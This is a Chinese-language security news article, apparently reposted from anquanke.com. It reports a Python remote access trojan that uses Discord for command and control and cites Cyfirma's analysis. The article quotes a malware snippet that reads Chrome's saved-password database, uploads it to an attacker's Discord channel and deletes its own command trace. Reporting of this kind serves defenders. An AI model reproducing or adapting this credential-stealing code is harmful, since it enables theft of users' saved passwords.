一种复杂的基于 Python 的远程控制木马(RAT)已被发现,该木马利用 Discord 作为其命令与控制基础设施,目标是全球范围内的用户。
这种恶意软件使攻击者能够执行任意系统命令、截取屏幕截图,而最关键的是,它能从网络浏览器中窃取已保存的登录凭据。
基于 Discord 的传播机制尤其令人担忧,因为它利用了一个合法且广泛使用的平台,有可能影响到游戏和专业社区中的数百万用户。
该远程控制木马的运作方式是,以提升的权限初始化一个 Discord 机器人,使其能够读取所有消息并执行预定义的恶意命令。一旦安装在受害者的系统上,该恶意软件就会在 Discord 服务器上创建一个专用的控制通道,与攻击者建立持续的通信连接。
这种架构使得网络犯罪分子能够远程发出命令,同时避开传统的网络安全监控,因为传统监控可能不会将与 Discord 相关的流量标记为可疑流量。
在其众多功能中,该恶意软件的凭据窃取功能对用户构成了最大的风险。当被激活时,该远程控制木马会尝试从流行的网络浏览器中提取已保存的密码,特别针对的是Google Chrome的凭据数据库,然后通过 Discord 的文件共享功能将窃取到的信息直接发送给攻击者。
Cyfirma 的研究人员通过代码层面的分析发现了这一威胁,揭示了该恶意软件复杂的设计和实现方式。
基于 Discord 攻击的演变
Cyfirma 的分析团队指出:“这代表着基于 Discord 的攻击出现了令人担忧的演变。合法平台被滥用,再加上强大的远程访问功能,这给组织机构和个人用户都带来了重大的安全挑战。”
密码窃取功能是通过一段特别值得关注的代码实现的:
elif message.Content == “Sending Command #2 – Password Stealer” and message.channel.id == channelid:
username = os.getlogin()
try:
passwords = open(f”C:/Users/{username}/AppData/Local/Google/Chrome/User Data/Default/Login Data”, “rb”).read()
await message.channel.send(“Password Stealer:”, file=discord.File(io.BytesIO(passwords), filename=”passwords.db”))
await message.Delete()
await message.channel.send(“Command Completed!”, delete_after=5)
except FileNotFoundError:
await message.channel.send(“No passwords found!”, delete_after=5)
return
这段代码直接访问Google Chrome的登录数据文件,该文件包含了敏感的已保存凭据,并通过 Discord 的消息系统将整个数据库文件发送给攻击者。该恶意软件在命令执行完成后巧妙地删除了执行痕迹,这使得受害者更难察觉到攻击行为。
文章原文链接:https://www.anquanke.com/post/id/305975